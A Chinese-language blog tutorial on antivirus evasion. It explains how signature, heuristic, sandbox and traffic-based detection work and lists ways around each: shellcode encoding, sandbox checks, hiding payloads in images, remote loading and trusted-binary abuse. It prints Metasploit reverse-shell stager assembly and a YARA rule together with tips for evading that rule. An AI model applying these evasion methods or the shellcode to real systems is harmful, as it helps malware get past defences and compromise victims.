免杀基础入门篇

本文首发于先知社区,原文链接:https://xz.aliyun.com/t/10369

0x00 前言

浅析杀软原理及一些绕过思路,也是我自己学习的一点笔记和思路。

杀软原理:

0x01 静态查杀:

1.特征码识别:

杀软有自己的病毒库,里面有很多样本,扫描时会抽取扫描对象的一段特征并与病毒库里作比较,如果匹配,那就会认为是病毒。抽取的代码要有适当长度,一方面维持特征代码的唯一性,另一方面又不要有太大的空间与时间的开销。如果一种病毒的特征代码增长一字节,要检测3000种病毒,增加的空间就是3000字节。在保持唯一性的前提下,尽量使特征代码长度短些,以减少空间与时间开销。

主要扫描的有:

hash、文件名、函数名、敏感字符串、敏感api等等

2.云查杀:

云查杀的不同点在于它的病毒库是放在服务器端的,而不是本地客户端,意思是只要联网病毒库就会同步更新,这种病毒库更加强大。

3.校验和法

根据正常文件的内容,计算其校验和,定期不定期的检查文件的校验是否与正常的校验和一样。其实本质还是特征码,万变不离其宗

4.启发式扫描:

但是面对未知的病毒,换个模样杀软就认不出了吗?所以安全厂商研究出了启发式算法

启发式则是将一类病毒总结后,归纳其特征,其后的演变都为一类病毒,这就是启发式算法。具体启发式算法可以由杀软来定,比如可以使用机器学习把家族病毒聚类,或简单的通过使用通用型yara规则,例如文件大小小于100kb,且没有图标则可以识别为病毒,以此达到查杀病毒。

eg:

这是msf的shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2003
; Architecture: x64
;-----------------------------------------------------------------------------;
[BITS 64]

; Input: RBP must be the address of 'api_call'.
; Output: RDI will be the socket for the connection to the server
; Clobbers: RAX, RCX, RDX, RDI, R8, R9, R10, R12, R13, R14, R15

reverse_tcp:
; setup the structures we need on the stack...
mov r14, 'ws2_32'
push r14 ; Push the bytes 'ws2_32',0,0 onto the stack.
mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call.
sub rsp, 408+8 ; alloc sizeof( struct WSAData ) bytes for the WSAData structure (+8 for alignment)
mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call.
mov r12, 0x0100007F5C110002
push r12 ; host 127.0.0.1, family AF_INET and port 4444
mov r12, rsp ; save pointer to sockaddr struct for connect call
; perform the call to LoadLibraryA...
mov rcx, r14 ; set the param for the library to load
mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call rbp ; LoadLibraryA( "ws2_32" )
; perform the call to WSAStartup...
mov rdx, r13 ; second param is a pointer to this stuct
push 0x0101 ;
pop rcx ; set the param for the version requested
mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
call rbp ; WSAStartup( 0x0101, &WSAData );
; perform the call to WSASocketA...
push rax ; if we succeed, rax wil be zero, push zero for the flags param.
push rax ; push null for reserved parameter
xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure
xor r8, r8 ; we do not specify a protocol
inc rax ;
mov rdx, rax ; push SOCK_STREAM
inc rax ;
mov rcx, rax ; push AF_INET
mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
mov rdi, rax ; save the socket for later
; perform the call to connect...
push byte 16 ; length of the sockaddr struct
pop r8 ; pop off the third param
mov rdx, r12 ; set second param to pointer to sockaddr struct
mov rcx, rdi ; the socket
mov r10d, 0x6174A599 ; hash( "ws2_32.dll", "connect" )
call rbp ; connect( s, &sockaddr, 16 );
; restore RSP so we dont have any alignment issues with the next block...
add rsp, ( (408+8) + (8*4) + (32*4) ) ; cleanup the stack allocations

可以看到调用了两个dll,ws2_32.dll(实现socket通信,建立攻击机与目标机器的连接),kernel32.dll(ring3级别的dll,存放在C:\windows\system32文件夹中,它控制着系统的内存管理、数据的输入输出操作与中断处理,当Windows启动时,kernel32.dll就驻留在内存中特定的写保护区域,使别的程序无法占用这个内存区域)

重点查杀

mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )

为什么?还不是因为它功能强大,是很多病毒爱好者的得力助手,所以被各大杀软盯的很死。

同样,cs中的两个特征

1.profile中的stage,我这里拿到的是apt的样本,可以看到是加密混淆后的

image-20211014013837846

2.导出函数 ReflectiveLoader也是在杀软的豪华套餐上的,它是用来导出反射注入的dll,可以修改这个导出函数的名称来进行绕过。

(程序运行时将exe、dll文件加载到内存并执行一些操作的过程,这个过程称为反射,它的优点是不落盘,直接载入目标内存中执行 ,dll放在server端,目标通过下载器直接加载到内存中执行)通常这种反射加载技术被很多APT组织、大型渗透框架、病毒作者使用比较广泛。

ps: 关于更多分析cobalt strike,大家可以去网上看各种魔改的文章。

yara规则:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
rule PoisonIvy_Generic_3 {
meta:
description = "PoisonIvy RAT Generic Rule"
license = "https://creativecommons.org/licenses/by-nc/4.0/"
author = "Florian Roth"
date = "2015-05-14"
hash = "e1cbdf740785f97c93a0a7a01ef2614be792afcd"
strings:
$k1 = "Tiger324{" fullword ascii

$s2 = "WININET.dll" fullword ascii
$s3 = "mscoree.dll" fullword wide
$s4 = "WS2_32.dll" fullword
$s5 = "Explorer.exe" fullword wide
$s6 = "USER32.DLL"
$s7 = "CONOUT$"
$s8 = "login.asp"

$h1 = "HTTP/1.0"
$h2 = "POST"
$h3 = "login.asp"
$h4 = "check.asp"
$h5 = "result.asp"
$h6 = "upload.asp"
condition:
uint16(0) == 0x5a4d and filesize < 500KB and
(
$k1 or all of ($s*) or all of ($h*)
)
}

简单分析下这段yara规则,标记了hash,最终的匹配规则是 文件大小在500kb以内 并且满足 $k1/all $s/all $h 中的任意一条,即被认定是病毒。这时候就可以根据破坏相应的规则,比如大小改为500kb+,不去调用相应的dll等来 bypass。

静态免杀方法:

针对静态查杀的原理,匹配对应的特征识别为病毒,那么我们让杀软识别不出这是病毒不就可以了。给出最简单的两种方式:

MYCCL查找特征码修改:

找到杀软查杀的特征码,修改,替换,编码等等在不影响程序运行的情况下,把特征码改的面目全非,删掉也可以。

这个工具算是很老的了,具体使用方法不再阐述。

image-20211014015152497 image-20211014015346016 image-20211014015412250 image-20211014015433901 image-20211014015458302 image-20211014015552143

这里是针对查杀的字符串进行拆分替换。

但是这种定位特征码的办法只能针对本地病毒库,面对云查杀会束手无策,云查杀会产生越来越多的特征码,这种情况可以改为内存加载,在内存里面做免杀,或者利用白加黑…….

对shellcode进行加密编码

一些编码方法

1
2
3
4
1、在特定位置添加垃圾字节
2、使用硬编码的单字节密钥对字节进行XOR或者加减法运算
3、将字节移位某些特定位置
4、交换连续字节

涉及到一些密码学的知识,非对称加密比对称加密效果要好,自己可以定义私钥,个人最喜欢异或,简单有效。

比如这里,先对shellcode进行一层异或加密生成decode_shellcode,然后再encode 执行。当然现在这么简单的异或已经不行了,可以多层异或,多个key,改的他妈都不认识。将shellcode写入内存的方法也是多种多样,下文中有提到,这里只讨论加密混淆。当然也可以使用其他加密方式,思路都一样的嘛

image-20211014020038200 image-20211014020052793

下面是GitHub的一个用 base64 混淆的项目,简单说就是将shellcode多层base64编码后,再加载执行,这里加载执行写入内存的方式也是最简单的加载方式。想要效果更好,可以用更强的加密方式,更隐蔽的将shellcode写入内存的方式。

可以看看效果

image-20211012131226917

image-20211012131218800

image-20211012131521189

小红伞没有识别出,所以给了警告。

附:现在很多杀软也会针对 sleep 函数进行识别,一般正常的文件执行不会sleep,这时候杀软不得注意一下?

0x02 动态查杀(主动防御)

动态查杀指的是 程序在运行的过程中执行了某些敏感操作,导致杀软查杀。

谈到动态查杀不得不提一个东西叫沙盒。

沙盒:也叫启发式查杀,通过模拟计算机的环境执行目标文件再观察特征行为

沙盒模拟的常见特征:

特征 原因 bypass
内存较小 不影响计算机正常运行 检测计算机内存是不是很小(判断是否是真实计算机)
时间较快 沙盒内置的时间速度比现实世界要快,提高查杀速度,沙盒中的时间流逝很快 c语言函数判断1s是否有1000ms/判断是否是utc时间
进程或文件不完整 减少杀毒软件运行时对计算机的消耗 判断操作系统进程的个数/调用不可能存在的文件
io设备缺失 鼠标键盘等事件大部分沙盒都没有 检测驱动 usb等/判断鼠标的移动速度等

其实主要就是找一台真实的计算机和沙盒的区别到底在哪,找到那些真实的计算机具有而模拟的计算机无法具有的特征,进行绕过即可,思路很简单,也很广,自己拓展会发现更多有意思的点。

下面说一下杀软监控动态查杀的点:

计算机相关

  1. 系统服务(指的是这些)

    image-20211014111540437
  2. 注册表(键值) 修改注册表的行为一般都是敏感行为(高危添加用户、删除用户,没有十足把握bypass,还是算了)

  3. 组策略

  4. 防火墙

  5. 敏感程序(cmd powershell wmi psexec bitsadmin rundll 等)

  6. 各种 win32api

    这里强调一下,监控进程调用的api不止是api名字,还包括api的 调用顺序、调用源、参数等等 。 相应的bypass,

    1
    2
    3
    用实现同样功能的api替换
    重写对应的api
    调用0环的api绕过3环杀软

    等等,肯定不止这些, 说起来很容易,但具体实现需要很深的底层功底,起码对Windows操作系统的底层实现,win32api等很熟悉,这就需要内功。

  7. 文件夹

    1
    2
    3
    C:/windows/system32   
    C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
    C:\tmp等敏感文件夹(cs、msf都会在tmp文件夹下生成一些东西)

绕过白加黑 算是一个很好的方法,指的是利用Windows系统的一些白文件去执行相应的敏感操作,就不会触发杀软警告,想一想,有哪个普通的程序去执行添加用户的操作呢?

说到底,白加黑解决的是 Windows里面 信任与权限的问题,Windows 都相信你,它一个杀软有什么办法,权限指的是你的权限是否比杀软的权限高,如果你在0环,杀软在3环,它也没有权限来管你,更不用说kill。

网络相关

1.流量特征: cobalt strike 的通信协议,是由 RSA 传输 AES 的密钥,AES的密钥加密后续通信,这也是c2的常规通信手法,但未经修改的profile 和证书,很容易被检测到。

2.内容特征:data字段是否存在命令相关的关键词加密特征(payload是否通讯加密,明文传输就会被查杀)

3.结构特征: 是否存在已知远控的通讯结构( cs 中 beacon 有 sleep)

4.IP : 是否被情报系统标记为恶意

绕过:

  • tcp分段:指的是数据包在传输过程中切分后以小段传输(效果也不错,但是网络连接不好很容易断掉)

  • 内容加密:针对传输的内容,比如那些执行命令的字符串等等,加密混淆,加密还是不要用简单的编码,你简单的base64编码一下,杀软、edr等还是可以检测到,最好用非对称加密

  • 使用合法证书 : 这个自己找渠道获得吧……

payload基本结构

分段传输:

eg:

msfvenom 的meterpreter/reverse_https模块

stager:

stage0:初始shellcode(通常称为stage0)会创建一个新的连接到攻击者的机器并将更大的有效载荷(stage1)读入内存。收到有效载荷后,stage0 会将控制权交给新的更大的有效载荷。stage0 只负责建立通信连接,不能够执行命令(getuid、getsystem等)

stage1(metsrv):stage0执行完后发送stage1到目标机器并写入内存,弹回meterpreter会话,我们在meterpreter里执行的命令,还有加载的模块(load kiwi等)都是stage1的功劳

这里 Sending stage (175174 bytes) 可以看到体积比较大,就是stage1

image-20211012232906258

很多分段加载骚思路也是基于stager来实现,初始投递的文件非常小,载入内存后,在内存中解密加载 加载器,然后加载器再解密加载shellcode。具体实现方法也多种多样,各种语言,c#,go等。

更多骚思路自行扩展……

整段传输

一次性发送很大的stage

meterpreter_reverse_https

stageless:

建立通信连接+执行命令

image-20211012232942431

可以看到两种stage的体积差别

image-20211014115158319

显然这种效果不如stager的效果好。

再简单看一下stager的汇编,不需要全部看懂,只有这么多代码,找到关键的功能

try_connect

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (24 July 2009)
;-----------------------------------------------------------------------------;
[BITS 32]

; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)

reverse_tcp:
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
push 0x5F327377 ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "ws2_32" )

mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push eax ; push the wVersionRequested parameter
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
call ebp ; WSAStartup( 0x0190, &WSAData );

push eax ; if we succeed, eax wil be zero, push zero for the flags param.
push eax ; push null for reserved parameter
push eax ; we do not specify a WSAPROTOCOL_INFO structure
push eax ; we do not specify a protocol
inc eax ;
push eax ; push SOCK_STREAM
inc eax ;
push eax ; push AF_INET
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this

set_address:
push byte 0x05 ; retry counter
push 0x0100007F ; host 127.0.0.1
push 0x5C110002 ; family AF_INET and port 4444
mov esi, esp ; save pointer to sockaddr struct

try_connect:
push byte 16 ; length of the sockaddr struct
push esi ; pointer to the sockaddr struct
push edi ; the socket
push 0x6174A599 ; hash( "ws2_32.dll", "connect" )
call ebp ; connect( s, &sockaddr, 16 );

test eax,eax ; non-zero means a failure
jz short connected

handle_failure:
dec dword [esi+8]
jnz short try_connect

failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp

connected:

因此可以看出stager仅仅是连接功能,而不能够进行其他操作。可以自己去GitHub找msf的模块来对比,文末也会放上链接。

​ 还要提一点:msf加载的各种命令 比如powershell kiwi这种,是各种反射注入的dll,反射注入到执行的进程上

image-20211012234041565

其中的msf中的进程迁移:是在无文件落地的情况下,将内存中的shellcode注入到其他进程。

关于无文件落地,比较复杂,我太菜了,等研究到再单独写一篇…

下面说一点免杀的方法和思路:

分离免杀

因为shellcode在程序里面很容易被查杀,像下面是最常用的加载shellcode的方式,内联汇编执行,函数指针执行,强制转换等等,当然很明显,这几种现在都是不免杀的。

要提一下内联汇编中的 _emit 0xff _emit 0xE0 是硬编码执行,与 jmp eax /call eax 的作用是一样的,网上有很多文章说是花指令,用来干扰杀软的,但在我实际测试中,删掉是无法加载shellcode的。

image-20211014103917056 image-20211014103942943

这里的分离免杀是用 msfvenom 生成一段raw格式的shellcode 放在 png 图片里,然后加载器 将shellcode写入内存中

image-20211013000137040 image-20211013000204080

经测试,可以简单的过掉火绒,360没有测试,会被小红伞杀。因为这里将shellcode写入内存的方式还是前面说的最简单的方式,换橙其他加载方式,应该也是可以过掉的。

分离免杀包括但不限于

1
2
3
4
5
shellcode从文本提取 
shellcode与加载器分离
远程加载shellcode(shellcode放在另一台主机上,走http协议下载)
管道运输
隐写在图片上,powershell加载

具体的其他分离免杀可以去网上找对应的实现,这里仅仅介绍并提供思路。

当然传统的这些函数早已被杀软加入豪华套餐

1
2
3
4
5
6
7
8
WinHttpOpen
WinHttpConnect
WinHttpOpenRequest
WinHttpSendRequest
WinHttpReceiveResponse
WinHttpQueryDataAvailable
WinHttpReadData
WinHttpCloseHandle

但幸运的是,Windows 提供了许多不同的库,可用于下载数据,例如winInet、WinHTTP 和 Windows Sockets。通过切换到更加手动的基于套接字的实现 ,如果使用这些第三方库或使用系统自带的下载命令,被杀软查杀的概率会小很多。

其他免杀思路

1
2
3
4
5
远程线程注入
远程加载
管道传输
白加黑
父进程调用子进程

等等,还有其他骚思路……自己去想

总结

做免杀,首先要原理烂熟于心,得知道为什么会被杀,杀的哪里,才有目的的去做,而不是啥都不懂,就去盲杀(在不清楚杀软规则好像也只能这样… 但是效率很低嘛)

前面也介绍了各种免杀的思路,可以自己去扩充,上面主要是基于c/cpp来实现,也可以用其他语言 powershell /c#/go/nim/python等来实现。方法还是很多的,但前提是要有一定的底层知识储备。

下面两张图刚开始看会觉得很空,但仔细研究会发现做免杀就是根据这个步骤来的,整个流程很清晰,只不过在实现的过程中需要大量的底层知识来支撑罢了。

希望可以给大家带来一点帮助,祝大家早日拳打火眼,脚踢卡巴斯基,bypass全球杀软~

image-20211013003245103

image-20211013003337672

参考链接:

恶意程序编写之免杀基础 - SecPulse.COM | 安全脉搏

免杀的艺术:PE文件后门的植入(二) - 知乎 (zhihu.com)

https://cutecuteyu.github.io/2021/03/03/%E6%9D%80%E6%AF%92%E8%BD%AF%E4%BB%B6%E7%9A%84%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/

https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_tcp.asm

https://xz.aliyun.com/t/9499

https://blog.f-secure.com/dynamic-shellcode-execution/

https://www.rapid7.com/blog/post/2015/03/25/stageless-meterpreter-payloads/

Peace.